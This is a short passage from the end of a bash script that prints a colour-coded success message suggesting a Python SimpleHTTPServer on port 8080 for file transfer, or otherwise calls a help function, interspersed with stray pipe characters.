if [[ "${SUCCESS}" == true ]]; then
|
||
|
|
echo -e " ${GREEN}[?]${RESET} ${GREEN}Quick web server${RESET} (for file transfer)?: python2 -m SimpleHTTPServer 8080"
|
||
|
|
echo -e " ${BLUE}[*]${RESET} ${BLUE}Done${RESET}!"
|
||
|
|
else
|
||
|
|
doHelp
|
||
|
|
fi
|
||
|
|
|
||
|
|
exit 0
|